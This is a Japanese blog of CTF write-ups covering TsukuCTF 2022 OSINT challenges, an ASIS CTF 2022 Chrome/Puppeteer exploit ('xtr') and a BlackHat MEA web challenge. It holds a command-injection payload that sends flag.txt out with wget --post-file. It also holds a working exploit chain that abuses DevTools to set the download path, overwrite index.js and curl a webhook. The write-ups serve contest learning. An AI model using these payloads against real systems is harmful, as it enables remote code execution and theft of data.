|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------
日本語コード:「\'a\';wget https://webhook.site/(省略) --post-file=fla」&「g.txt」&「;#\'」から「a」に解凍
/bin/sh: 7z: not found
Connecting to webhook.site (46.4.105.116:443)
saving to '(省略)'
'(省略)' saved

Webhook.siteの方を確認すると、フラグがアップロードされていた。

TsukuCTF22{y0u_jump3d_0u7_0f_j4p4n353}

こちらもleaks4bと同じように、Satokiさんが発見された脆弱性を題材にした問題だった。やはりptr-yudaiさんが出そうだとCTFの開始前から予言していて、脆弱性を修正するコミットも調べて把握しつつ、なでしこを使う問題が出たら要注意だという話になっていた。

[OSINT 375] sky (113 solves)

帰ってくるあなたが最高のプレゼント。つくし君は電車にガタゴト揺られています。次の停車駅で降りるようなのですが、どこかわかりますか? ※フラグの形式は TsukuCTF22{次の停車駅} です。公式サイトの表記を採用します(スペースは含めません)。

新幹線か特急か、座り心地のよさそうな電車の座席で撮られた写真が与えられる。CentXというアプリの広告があることから、おそらく撮影地は名古屋だろうなあと推測する。Google Lensで検索してみると、ミュースカイという名古屋鉄道の特急の座席の写真が出てきた。写真のものとよく似ている。何も考えずに「名鉄名古屋」と「中部国際空港」の両方を試したところ、前者が当たりだった。

TsukuCTF22{名鉄名古屋}

[OSINT 406] Where (98 solves)

北海道に住んでいるつくしさんは東京旅行に行った際に高層ビルの窓から写真を撮りました。

でも撮影した場所を忘れてしまったようです。この写真が撮影された場所について建物名を教えてあげてください。

フラグはこの建物の開業日(YYYY/MM/DD)です。たとえば、東京スカイツリーの開業日は2012年5月22日なので、フラグは TsukuCTF22{2012/05/22} となります。

問題文から東京で撮影された写真であることがわかる。写真中央に大きく写っている2棟の高層ビル(と1棟の建設中の高層ビル)が特徴的であるように見える。Google Lensで切り取って検索すると、ど真ん中の高層ビルは渋谷ヒカリエであることがわかる。その隣りにあるのは渋谷スクランブルスクエアだろう。

これらの高層ビルや、マルイや西武などの建物を一度に写せるような場所はどこだろうか。Google Earthはとても便利で、地図を回転させつつ、建物の高さなどからどこから撮れそうか推測できる。近くにある高層ビルで、かつ渋谷ヒカリエなどの建物が与えられた写真のように撮れるのは渋谷パルコだ。渋谷パルコの開業日はWikipediaに「1973年6月14日」と書かれている。本当にそうかは知らないが、フラグが受理されたので勝ちだ。

TsukuCTF22{1973/06/14}

[OSINT 433] Gorgeous Interior Bus (83 solves)

観光地に来たつくし君は、豪華なバスを見かけたので、それに乗って観光することにしました。 その時、つくし君のお母さんから「どこにいるの?」と連絡が着ましたが、おっちょこちょいなつくし君は、観光地の名前も、乗っているバスの路線も忘れてしまい、とっさに車内の写真を撮って、「ここ」と返信しました。 つくしくんはどこにいるのでしょうか? つくしくんが写真を撮ったところに最も近い交差点の名前を特定してください。

※フラグの形式は TsukuCTF22{交差点の名前} です。

問題名の通りに、めっちゃ豪華な内装のバスの写真が与えられている。天井からミラーの裏側まで色々なところに花が描かれている。この絵をGoogle Lensで検索してやると、熱海を走っている「湯~遊~バス」の「彩」という車両であることがわかった

さて、重要なのはこれがどの交差点の近くで撮られたかだ。まずバスがどのようなルートで走っているか確認すると、運行ルートが見つかった。車両前方のディスプレイに表示されている次に停まるバス停の情報と照らし合わせると、このバスは今後銀座 → 親水公園 → マリンスパあたみという順番で停まることがわかる。つまり、サンビーチから銀座までの間にこの写真を撮影した地点があるはずだ。

ストリートビューを使って同じルートをたどる。見つけた。写っている店舗のアクセスから、この交差点は東海岸町交差点であるとわかった。

TsukuCTF22{東海岸町}

[OSINT 446] Bringer_of_happpiness (75 solves)

つくしくんは荷物を運び終えて休憩してるときに撮った写真。さて撮影場所はどこだろう?

※フラグの形式は TsukuCTF22{緯度_経度} です。ただし、緯度経度は十進法で小数点以下五桁目を切り捨てたものとします。

おそらく駅の近くで、踏切の前から撮影された写真が与えられる。右側には黄色い車体の鉄道車両が見える。Google Lensでこの鉄道車両を切り取って検索してみると、島原鉄道のとてもよく似た車両の写真がヒットする。ただ、これだけでは撮影地を絞りきれない。

よく見ると、踏切の向こう側の建物の前に、「J-C…」や「パチン…」、「スロ…」と書かれたのぼりが立っている。そういう名前のパチンコなどのお店があるのだろうか。「パチンコ 島原」でググって出てくる店舗を探していると、J-コーストという店舗が見つかった。島原港駅すぐ近くで、ロゴなども一致する。

与えられた写真と同じような構図の場所をストリートビューで探すと、見つかった

TsukuCTF22{32.7691_130.3706}

[OSINT 454] Desk (69 solves)

つくし君の大好きなお姉さんのデスクを見学させてもらったよ。 さて、このデスクはどこにあるのだろうか?

フラグ形式は写真が撮影された場所の郵便番号(ハイフンを除く)を入れて下さい。例えば撮影された場所が東京都庁の場合、郵便番号は163-8001なので TsukuCTF22{1638001} となります。

「(塗りつぶされて読めなくなっている)のデスク」と書かれた紙が置かれた机と椅子の写真が与えられる。机の上にはなにか書かれていそうな資料も置かれていて、そこには沖縄本島が描かれている。写真右下にはゆるキャラなのかなんなのか、とにかくキャラクターが描かれている。

Google Lensで右下のキャラクターを検索すると、ヒットした。沖縄県南城市なんじぃというキャラクターらしい。雑に「南城市 デスク」で検索してみると、このデスクが「久高夏凛さんのデスク」だというツイートがヒットした。ご丁寧にハッシュタグとして撮影地も書かれている。がんじゅう駅・南城だ。ググると郵便番号が出てくる。

TsukuCTF22{9011511}

[OSINT 482] banana (44 solves)

つくし君は、ある女の子のSNSアカウントを眺めています。 つくし「この場所を特定して僕も同じ場所の同じ構図で写真を撮りたい!」

つくし君の願いを叶えるべく、この場所を特定してあげましょう。 ※フラグの形式は TsukuCTF22{緯度_経度} です。ただし、緯度経度は十進法で小数点以下五桁目を切り捨てたものとします。

サングラスをかけたバナナ人間の絵と撮った写真が与えられる。Google Lensで右側に写っているバナナ人間を検索してもよい情報は得られなかったが、一見情報は得られなさそうな左側に写っている文字を検索するとまさにそこだという写真がヒットした。グアムのウォールアートらしい。検索結果として出てきた記事をもっと見てみると、撮影した場所がデデド朝市会場のトイレだとわかった。

TsukuCTF22{13.5210_144.8287}

[OSINT 488] TsukuCTF Big Fan 1 (36 solves)

彼はTsukuCTFの大ファンで、TsukuCTFのあらゆるコンテンツを確認しています。 私は彼と一緒にTsukuCTFに参加しようと思っています。しかし、私は彼の実力をあまり知りません。 まずは彼のTwitterのアカウントを特定し、そのアカウントのアカウント作成日を求めてください。 フラグ形式は TsukuCTF22{YYYY/MM/DD} です。

He is a big TsukuCTF fan and checks all the content of TsukuCTF. I am planning to participate in the TsukuCTF with him. But I don't know much about his ability. First, specify his Twitter account and ask for the date the account was created. The flag format is TsukuCTF22{YYYY/MM/DD}.

次のようなDiscordのメッセージのスクリーンショットが与えられる。ただ、TsukuCTFの公式Discordサーバでユーザの一覧を探してみても、ToshiKu というユーザは確認できなかった。ユーザタグも特定するのは面倒くさそうだ。

TsukuCTFのファンということで、彼がTsukuCTFのTwitterアカウントをフォローしているのではないかと思った。フォロワーを上から順番に見ていくと、あった。@SuperProStalkerだ。

cache:https://twitter.com/superprostalker を検索してキャッシュを表示し、HTMLを確認する。"dateCreated": "2021-11-29T07:52:58.000Z" という情報から、このTwitterアカウントが作られた日付を特定できた。

TsukuCTF22{2021/11/29}

[OSINT 500] TsukuCTF Big Fan 2 (6 solves)

彼はWebサイトを運営しているようです。

He appears to be running a web site.

今度は串田の運営しているWebサイトでなにかする必要があるらしい。まずはそのURLを特定したい。彼はいくつかWebサイトに関係しそうな意味深なツイートを残している。xn といえばPunycodeだ。適当なツールでデコードすると、これは つくctf.com というドメイン名だとわかった。

早速 つくctf.com にアクセスしてみたが、Rickrollされてしまう。

$ curl -i つくctf.com
HTTP/1.1 302 Found
Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ
Date: Sat, 22 Oct 2022 19:58:41 GMT
Content-Type: text/html; charset=UTF-8
Server: ghs
Content-Length: 240
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="https://www.youtube.com/watch?v=dQw4w9WgXcQ">here</A>.
</BODY></HTML>

うーんと思ったが、このWebサイトにHTTPSでアクセスできることに気づく。証明書はどうなっているのだろう。crt.shで確認してみると、this-is-flag-site.xn--ctf-073b6d.com というドメイン名が確認できた。

this-is-flag-site.xn--ctf-073b6d.com にアクセスするとフラグが得られた。

TsukuCTF22{wh47_15_4_pun1c0d3?}

[OSINT 500] TsukuCTF Big Fan 3 (18 solves)

When is his birthday? The flag format is TsukuCTF22{YYYY/MM/DD}.

今度は誕生日だ。彼はほかにもいくつか気になるツイートを残している。まずはこれだが、彼に関する情報を含んでいるらしいツイートを引用リツイートしている。しかしながら、引用しているツイートはすでに削除されてしまっている。

Wayback Machineでこのツイートがアーカイブされていないか調べてみたところ、あった

Here you are xD hxxps://drive.google.com/drive/folders/1sal6kj0OrsO7Xu-gQZeBFjYOm-kAtuns?usp=sharing

とのことで、Google Driveへのリンクがある。アクセスしてみると、README.txtdummy.csv というファイルがあった。前者はこれらのファイルはCTF用に作られたものだという説明で、後者はダミーの個人情報が大量に載っているCSVだ。この中に彼の情報があるのだろうか。CSVのカラムには名前や住所のほかに、誕生日とメールアドレスもある。

メールアドレスといえば、彼はこういうツイートもしていた。

byu から始まるメールアドレスを持つ人は、田川ヒロシひとりだけだ。これで彼の誕生日がわかった。

$ grep byu dummy.csv
田川 ヒロシ,41,1980/01/10,Male,A,byucraglar5r7nzx3np9@gmail.com,090-9040-2901,185-4532,株式会社TSHSU
TsukuCTF22{1980/01/10}

[OSINT 495] Bus POWER (24 solves)

私はこれからつくしくんと食事をする予定です。しかし、待ち合わせの時間になっても彼は来ず、代わりにこのような文章と写真を送ってきました。

「写真の奥に青い道路標識が見えるよね?ちょうど今そこを通過した先にある交差点にいます。」

彼が何分くらい遅刻するのか推定するために、この写真の近くにある交差点の名前を特定してください。フラグ形式は TsukuCTF22{交差点の名前} です。交差点の名前は日本語で、Google Mapの表記に準拠します。

私がこの問題に取り組むまでにptr-yudaiさんがだいぶ調べていて、その雰囲気から京都っぽいとわかっていた。写真の右上にあるおそらく運転手の名前などが書かれている箇所に、「…2822」という車番も書かれていることがわかっていた。これらの情報を組み合わせて、京都市営バスであろうというところまで確認していた。

ただ、文字情報がほとんどなく、またそれ以外の特徴的に思える部分からもあまり情報を得られていなかった。ぽけーっと写真を眺めていた所、右上にうっすらと文字が見える。「…条河…」に当てはまる行き先はどこだろうか*5。関西人パワーから四条河原町を思いついた。だがまだ解けない。

四条河原町を経由しそうな系統を狙って「前面展望 3系統」などをググり、出てきた動画を倍速&飛ばし飛ばしで視聴してそれっぽい場所を探す。だがまだ見つからない。

ヤケクソで、4車線以上の道路の片側に、黒いピラミッド状の屋根の建物と8階程度の建物が隣接している場所を探せばよいのではないかと考える。Google Earthを開き、四条河原町に飛んで太い道路沿いに移動しつつ探した。怪しい場所があればストリートビューで確認し、違っていればまた怪しい場所を探すという作業を繰り返す。しばらく探していると、それっぽい場所が見つかった。黒い屋根の建物と、8階程度の建物は写真と同じであるように見える。

だが、道路標識が与えられた写真のものとは一致していないし、本来建物があるはずの左手には駐車場がある。古い写真が与えられたのではないかと疑ったが、何年か遡ってみると2013年にはすでに更地になっているし、そもそも運転席に近い座席がビニールカバーで使用できない状態になっており(というか、「…感染症…中止しています…距離を保つため…」という文章が見える)、コロナ禍に入ってからの写真であることが推測できる。

写真と似た構図の場所を探す。西にやや移動すると、見つかった。左手にある建物も写真と一致している。さて、この問題で答えるのは交差点の名前だった。Yahoo! 地図で交差点の名前を確認した*6。「写真の奥に青い道路標識が見える」のを「通過した先にある交差点」というのは、千本今出川交差点だ。

TsukuCTF22{千本今出川}

[OSINT 500] Ochakumi (3 solves)

私はハッカーフォーラムである人に出会いました。彼はOSSエンジニアを名乗っており、このWebサイトを運営しているようです。

⚠️このWebサービスの応答はネットワークの性質上少し時間がかかりますが、数回程度のアクセスで十分に解くことができます。もし応答がない場合はAdminへ報告し、しばらくしてから再度アクセスしてください。

http://tsuku22qotvyqz5kbygsmxvijjg7jg2d7rgc42qhaqt3ryj66lntrmid.onion

.onion というTLDから、このWebサイトはTor Hidden Serviceであるとわかる。Tor Browserでアクセスしてみると、以下のようにNeko Neko Calculatorという謎のサービスが表示された。7*7 を入力すると49と表示される。名前の通り電卓っぽい。

DevToolsのNetworkタブを開きつついじってみるが、ボタンを押しても計算式がXMLHttpRequestやFetchで送られている様子はない。サーバ側ではなくクライアント側で計算しているようだ。Ctrl + F5 で更新してみると、index.html, wasm_exec.js, main.wasm という3つのファイルをダウンロードしている様子が確認できた。WebAssemblyを使っているらしい。

wasm_exec.js はグルースクリプトだけれども、1行目から嫌なコメントが見える。Goで書いてwasmにコンパイルしているのではないか。バイナリエディタmain.wasm を開くと、やはり syscall/js.valuePrepareString のような文字列が見えて、Go製のwasmであると確信する。

// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

問題文には以下のように reversing というタグが付いていて、やはりちゃんとこの5MB弱のwasmをリバースエンジニアリングしないとダメなのかなあと思う。

でもメインカテゴリはOSINTだ。なにかしら情報が得られることを祈って strings -n main.wasm を実行する。出力された文字列を眺めていると、気になるものがあった。ビルド時の情報が色々あるけれども、GitHubリポジトリの情報もある。

…
go1.18.4
    /usr/local/go
path    github.com/GaOACafa/website
mod github.com/GaOACafa/website (devel) 
build   -compiler=gc
build   CGO_ENABLED=0
build   GOARCH=wasm
build   GOOS=js
…

GaOACafa/website のコミットを眺めていると、.gitignore で次のようにファイルを列挙している様子が確認できた。wasm_exec.jsindex.html といったファイル名は聞き覚えがあるが、public/this_is_flag_dbKIMLQnMCI2fp0.html というのはとても怪しい。

deploy.sh
dist
node_modules
public/main.wasm
public/this_is_flag_dbKIMLQnMCI2fp0.html
public/favicon.ico
public/wasm_exec.js
index.html

.gitignore で得られた情報をもとに http://tsuku22qotvyqz5kbygsmxvijjg7jg2d7rgc42qhaqt3ryj66lntrmid.onion/this_is_flag_dbKIMLQnMCI2fp0.html にアクセスすると、フラグが得られた。

TsukuCTF22{C0uld_w45m_h4v6_p6r50n4l_1nf0rm4710n?}

この問題は98ptsがfirst bloodだった。

*1:「就きたい職業はエゾタヌキ」で出ていた

*2:CTFtime.orgでは "a CTF with Japanese OSINT as the main genre" と言っているぐらいなので。ところで、ここで "Japanese" は "CTF" でなく "OSINT" にかかっていることに注意

*3:私はデイリーポータルZここはどこでしょう?で色々な正解への辿り着き方を読むのが好き

*4:CTFを始めたばかりのころは、スクリプティングに慣れていなかったのでBoolean-basedなSQLiも手作業でやっていたのを思い出した。それも二分探索でなく線形探索で

*5:条河麻耶ではない

*6:問題文に「Google Mapの表記に準拠します」と書かれているけれども、今writeupを書いているときに初めてGoogle Mapでも交差点の名前を確認できると知った

ASIS CTF Quals 2022の復習 - [Web] xtr

10/14 - 10/15という日程で開催された。zer0ptsで出て67位。Web問がとても面白かったし、Firewalled, xtrの2問はあともう少しで解けそうだという感覚があったのだけれども、結局解ききれず悔しい。悔しいので、競技時間中には解けなかった問題を復習したい。


[Web 423] xtr (3 solves)

wow i have xss on all pages. i wonder what is stopping me from getting rce...

nc xtr.asisctf.com 9000

概要

ソースコード付き。問題文に書かれている問題サーバに接続すると文字列の入力が求められるけど、最終的に subprocess.call(('docker run --rm xtr /app/run.sh '+s).split(' ')) (s はユーザ入力) という感じで xtr というDockerコンテナに渡される。

xtrDockerfile はこんな感じ。chmod 000 されている /flag.txt というファイルを読むのが目的であるとわかる。/chmodflag はこの /flag.txtchmod 444 する実行ファイルで、/chmodflag を実行してから /flag.txt を読むという流れになる。

FROM ubuntu:latest

RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y curl
RUN curl -fsSL https://deb.nodesource.com/setup_18.x | bash -
RUN apt-get install -y ca-certificates fonts-liberation libappindicator3-1 libasound2 libatk-bridge2.0-0 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgbm1 libgcc1 libglib2.0-0 libgtk-3-0 libnspr4 libnss3 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 lsb-release xdg-utils wget nodejs

WORKDIR /tmp
RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb -q
RUN dpkg -i ./google-chrome-stable_current_amd64.deb
RUN rm ./google-chrome-stable_current_amd64.deb

WORKDIR /app
COPY ./stuff /app
COPY ./stuff/chmodflag /
COPY ./flag.txt /flag.txt
RUN chmod 000 /flag.txt
RUN chmod +x /app/run.sh /app/index.js /chmodflag
RUN chmod u+s /chmodflag
RUN PUPPETEER_SKIP_DOWNLOAD=1 npm install
RUN useradd -m www
RUN chown www /app -R
USER www

/app/run.sh は以下のような内容になっている。index.js にそのままコマンドライン引数を流すだけ。

#!/bin/bash
for var in "$@"
do
    ./index.js "$var"
done

/app/index.js は以下のような内容だった。とてもシンプルな内容で、まずコマンドライン引数として与えられたJSONをパースし、url というキーで指定されたURLを開く。そして、actions というキーに入っている配列のそれぞれの要素について、それぞれ pageIdx キーで指定したタブ上で、payload キーで指定したJavaScriptコードを実行するという処理をしている。

#!/usr/bin/env node
const puppeteer = require('puppeteer');

(async () => {
    const opts = JSON.parse(atob(process.argv[2]))

    let browser
    try {      
        browser = await puppeteer.launch({
            headless: 'chrome',
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            executablePath: "/usr/bin/google-chrome",
        });

        console.log('[+] Browser online')

        let page = await browser.newPage();
        await page.goto(opts.url.toString(), { timeout: 3000, waitUntil: 'domcontentloaded' });

        let ackCnt = Math.min(10,+opts.actions.length)
        for(let i=0;i<ackCnt;i++){
            let pages = await browser.pages()
            let idx = opts.actions[i].pageIdx
            let payload = opts.actions[i].payload.toString()

            await pages[idx].evaluate((s)=>eval(s),payload)
            await new Promise((r)=>setTimeout(r,300));
            console.log(`[+] Executed payload ${i}`)
        }

        await page.close();
        await browser.close();
        browser = null;
    } catch(err){
    } finally {
        if (browser) await browser.close();
        console.log(`[+] Browser closed`)
    }
})();

具体的には、次のようなJSONを投げるとまず https://example.com を開き、開いたタブ上で console.log(123)location.href = '/hoge' を順番に実行する。pageIdx をいずれも 1 としているのは、https://example.com を開く前にすでに about:blank を開いているタブがあるから。

{
    "url": "https://example.com",
    "actions": [{
        "pageIdx": 1,
        "payload": "console.log(123)"
    }, {
        "pageIdx": 1,
        "payload": "location.href = '/hoge'"
    }]
}

解法

私がこの問題に本格的に取り掛かる前にs1r1usさんがある程度戦略を考えていた。Chromeからなんとかして /chmodflag という実行ファイルを実行する必要があるけど、その方法が問題となる。過去問にcorCTF 2021のsaasmeという問題があって、リンクを張ったwriteupではChrome DevTools Protocol(CDP) (*1) の一機能である Browser.setDownloadBehavior というメソッドを使っていた。これはファイルダウンロード時の保存先のディレクトリを変更したりできる。これを使って、たとえば /etc/cron.d/ のようにファイルを書き込めると嬉しいディレクトリをダウンロード先に指定し、悪いファイルをダウンロードして実行させたりしたい(今回はChromeの実行ユーザが root でないので、どこに書き込むか別途考える必要があるけれども)。

ではどうやってそれを実現するか。/app/index.js を見ると chrome:// スキームのURLも開けることがわかるから、それでなんとかしてDevToolsのページ上で以前ChromiumにあったバグのPoCのように target.SDK.targetManager.mainTarget().pageAgent() なるものを使ったり、あるいは別の事例のように DevToolsAPI.sendMessageToEmbedder なるメソッドを呼べばよいのではないかという案をs1r1usさんが出していた。

いずれにしても、そのためにDevToolsをタブとして開いた上で、そこでJavaScriptコードを実行できるようにしたい。要はDevTools on DevToolsがしたいのだが、このStack Overflowの回答のように Ctrl + Shift + i を押してDevToolsを開き、メニューからウィンドウとして切り離すボタンを押して、さらにそのウィンドウで Ctrl + Shift + i を押すという手順は今回は使えない。別の方法を考える必要がある。

DevTools on DevTools

chrome:// スキームのページを色々触っていると、chrome://inspect/#other に現在開かれているタブの一覧があり、各タブのURLの下にある inspect ボタンを押すと、そのタブでDevToolsを開けることがわかった。これなら、document.querySelector などで inspect ボタンを選択し、HTMLElement.click で押下というようにユーザインタラクションなしでJavaScriptコードでも操作を実現できる。

面白いことに、chrome://inspect/#other ではすでに開かれているDevToolsに対しても inspect ボタンを押してDevToolsを開ける。

index.js でユーザから与えられたJavaScriptコードを実行している箇所に console.log(pages.map(p=>p.url())) のようなコードを挿入して、開かれているタブを監視できるようにする。その上で、opts に次のようなオブジェクトを入れてみる。

{
    "url": "chrome://inspect/#other",
    "actions": [
        {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[2].click();
            `
        }, {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[3].click();
            `
        }, {
            "pageIdx": 1,
            "payload": "for (let i = 0; i < 100000000; i++);"
        }
    ]
}

実行してみると、次のように出力された。devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true というタブが増えていて、ちゃんとDevToolsをタブとして開けていることがわかる。これで pageIdx でDevToolsを開いているタブを指定して、そこで好きなJavaScriptコードを実行させられる。

$ node index.js
[+] Browser online
[ 'about:blank', 'chrome://inspect/#other' ]

                const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
                els[2].click();

[+] Executed payload 0
[ 'about:blank', 'chrome://inspect/#other' ]

                const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
                els[3].click();

[+] Executed payload 1
[
  'about:blank',
  'chrome://inspect/#other',
  'devtools://devtools/bundled/devtools_app.html?remoteBase=https://chrome-devtools-frontend.appspot.com/serve_file/@749e7387dde6e6b7074c8f0d2b12a6d316c66e09/&hasOtherClients=true'
]
for (let i = 0; i < 100000000; i++);
[+] Executed payload 2
[+] Browser closed

DevToolsAPI.sendMessageToEmbedder

念のために DevToolsAPI.sendMessageToEmbedder が存在しているか確認してみる。optsactions に次のオブジェクトを追加して実行してみる。ちゃんとWebhook.siteに function という内容のPOSTが来て、ちゃんとDevTools上でJavaScriptコードが実行できており、DevToolsAPI.sendMessageToEmbedder というメソッドが存在していることが確認できた。

{
    "pageIdx": 2,
    "payload": "navigator.sendBeacon('https://webhook.site/(略)', typeof DevToolsAPI.sendMessageToEmbedder);"
}

ここからどうするか。chrome/browser/devtools/devtools_embedder_message_dispatcher.cc を眺めて DevToolsAPI.sendMessageToEmbedder で使用できるメソッドを探していた(*2)のだけれども、残念ながら競技時間中には有用なものを見つけられなかった。save というメソッドがファイルの保存ができそうに見えてそれっぽいが、呼んでみるとどこに保存するかというプロンプトが表示されてしまいダメ。ユーザインタラクションなしにできなければならない。

競技終了後に解法を共有するDiscordのチャンネルを眺めていたところ、Strellicさんがとても興味深い解法(閲覧にはASIS CTFのDiscordサーバへ参加のこと)を共有していた。なんと、DevToolsAPI.sendMessageToEmbedder から呼び出せるメソッドに dispatchProtocolMessage なるものがあったらしい。先程読んでいた devtools_embedder_message_dispatcher.cc でもう一度探してみると、確かにある (*3)。

dispatchProtocolMessage のハンドラに指定されている処理を追ってみると、その名の通りCDPのメッセージを送信できるメソッドであるとわかる。これを使えば Browser.setDownloadBehavior を使ってファイルのダウンロード先を変えられる。

作問者のparrotさんによれば、DevToolsの(JavaScript側の)ソースコードを確認するというのが想定されていた dispatchProtocolMessage を見つける方法だったとのこと。

試してみる。DevTools on DevToolsして、DevTools上で DevToolsAPI.sendMessageToEmbedder = function () { console.log(arguments); } を実行して、 DevToolsAPI.sendMessageToEmbedder が実行された際にどんな引数が渡ってきたかチェックできるようにする。そのまま適当なページを開いてみると、確かにいっぱい dispatchProtocolMessage を呼び出している様子が確認できた。どう見てもCDPだ。なるほどなあ。

Browser.setDownloadBehavior

フラグまであと一歩だが、まだひとつ問題が残っている。Browser.setDownloadBehavior を使ってどこにどんなファイルを保存するかだ。目的は /chmodflag という実行ファイルの実行で、そのためにはRCEに持ち込む必要がある。その書き換えるファイルのパスについて、Strellicさんは /app/node_modules/puppeteer/lib/cjs/puppeteer/puppeteer.js を、terjanqさん/app/index.js を選んでいたらしい。なぜそれでいけるのかという話だけれども、もう一度 /app/run.sh を見てみるとわかる。コマンドライン引数を複数与えるとそれぞれでいちいち index.js が走るという処理になっている。これは同じコンテナ内での処理だから、/app/index.js を書き換えると、書き換えた後の内容のスクリプトが実行される。なぜ上書きされるかはよくわからない。

#!/bin/bash
for var in "$@"
do
    ./index.js "$var"
done

試してみる。以下のようなオブジェクトを作り、JSONシリアライズしてBase64エンコードする。

{
    "url": "chrome://inspect/#other",
    "actions": [
        {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[2].click();
            `
        }, {
            "pageIdx": 1,
            "payload": `
            const els = [...document.querySelectorAll('[class=action]')].filter(e=>e.innerText==='inspect');
            els[3].click();
            `
        }, {
            "pageIdx": 2,
            "payload": `
            const message = JSON.stringify({
                id: 1,
                method: 'Page.setDownloadBehavior',
                params: {
                    behavior: 'allow',
                    downloadPath: '/app/'
                }
            });
            DevToolsAPI.sendMessageToEmbedder('dispatchProtocolMessage', [message], () => {});
            `
        }, {
            "pageIdx": 0,
            "payload": `
            const a = document.createElement("a");
            const blob = new Blob(["#!/bin/bash\\ncurl https://webhook.site/(略)?ok"], { type: "text/plain" });
            a.download = "index.js";
            a.href = URL.createObjectURL(blob);
            document.body.appendChild(a);
            a.click();
            `
        }, {
            "pageIdx": 1,
            "payload": "for (let i = 0; i < 100000000; i++);"
        }
    ]
}

deploy.py に投げてみると、curl が実行されている様子が確認できた。

$ python3 deploy.py
input: eyJ1(略)fV19 a
[+] Browser online
[+] Executed payload 0
[+] Executed payload 1
[+] Executed payload 2
[+] Executed payload 3
[+] Executed payload 4
[+] Browser closed
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0

実行するコマンドを /chmodflag; cat /flag.txt に変えた上で、今度は本物の問題サーバに投げてみる。

$ nc xtr.asisctf.com 9000
input: eyJ1(略)fQ== a
[+] Browser online
[+] Executed payload 0
[+] Executed payload 1
[+] Executed payload 2
[+] Executed payload 3
[+] Executed payload 4
[+] Browser closed
ASIS{node+chrome+xss-lmao}

フラグが得られた。

ASIS{node+chrome+xss-lmao}

ということで、s1r1usさんが最初に立てていた方針ほぼそのままで解ける問題だった。ギャップを埋めるところで詰めが甘くて解けなかったのが悔しい。


  1. そもそもCDPとはという話はドキュメントなどを参照のこと。リンク先の問題では同じくPuppeteerが使われていて、記憶が正しければ puppeteer.launch に渡されるオプションでは pipe: false となっていた。なので、127.0.0.1TCPエフェメラルポートで待ち受けているところにSSRFして、そしてWebSocketを使ってCDPで通信することでChromeを操作…ということができたけど、残念ながら今回は pipe: true なのでその手は使えない

  2. ストライクウィッチーズ ROAD to BERLIN」を見ながら探していた

  3. どうしてこんなに便利そうなものを見逃したのか。これまでのCTF人生で2位か3位ぐらいに悔やまれるやらかしだった。ちなみに、ちゃんと動くexploitが完成していたのに、問題サーバのポート番号を間違えていたために解けなかったInCTF 2021 - Vuln Driveがダントツの1位。忘れられない

BlackHat MEA CTF Qualification 2022 writeup

9/30 - 10/2という日程で開催された。zer0ptsで参加して16位。zer0ptsのチームメンバーのKahlaさんが一部のWeb問の作問をしていると聞いて、また上位チームには11月に開催される決勝大会に参加する際の旅費が支援されると聞いて参加した。旅費支援の対象は上位10チームのうち全完したチームのみとのことだったので、それはダメだった。

一部の問題サーバを必要とする問題ではチームごとにインスタンスを立てる必要があった。(おそらくチーム間でのフラグの共有などの不正検知のために)チームごとにフラグを生成していたり、やりようによっては全参加者に影響を与えられる問題もあったためだろう。それがちょっと印象に残った。

*1


[Web Exploitation 150] Spatify

ソースコードはなし。問題サーバのURLが与えられている。アクセスすると、曲のリストと検索フォームが表示される。裏でSQLのクエリが走るかと、LIKE 句が使われているかの確認のために %%%%% を検索してみると、めちゃくちゃ怪しい曲が出てきた。

この曲のURLにアクセスすると、THISISTHEPASSWORDTOTHEADMINPANEL123321123321 という内容のファイルがダウンロードできた。

どこで使うのか困ったけれども、適当に試していたら /robots.txt を見つけた。内容は Disallow: /superhiddenadminpanel/ というものだったので、このパスにアクセスする。すると、パスワードを要求された。手に入れたパスワードを入力するとフラグが得られる。

BlackHatMEA{1207:14:e35e5613e6948d855fec2746770f48f0b2178fa9}

まさかのfirst blood。

[Web Exploitation 150] peeHpee

問題サーバのURLが与えられている。アクセスするとログインフォームが表示される。

HTMLを確認すると、最後の方に <!-- Check /?source= for the source code --> とある。/?source=a にアクセスしてみると、ソースコードが表示された。メールアドレスは admin@naruto.com、パスワードは SuperSecRetPassw0rd らしい。…が、$inp==="SuperSecRetPassw0rd" である場合には弾かれてしまう。

<?php
//Show Page code source
if(isset($_GET["source"])){
    highlight_file(__FILE__);
}
// Juicy PHP Part
$flag=getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_POST["email"])&&isset($_POST["pass"])){
        if($_POST["email"]==="admin@naruto.com"){
            $x=$_POST["test"];
            $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
            if($inp==="SuperSecRetPassw0rd"){
                die("Hacking Attempt detected");
            }
            else{
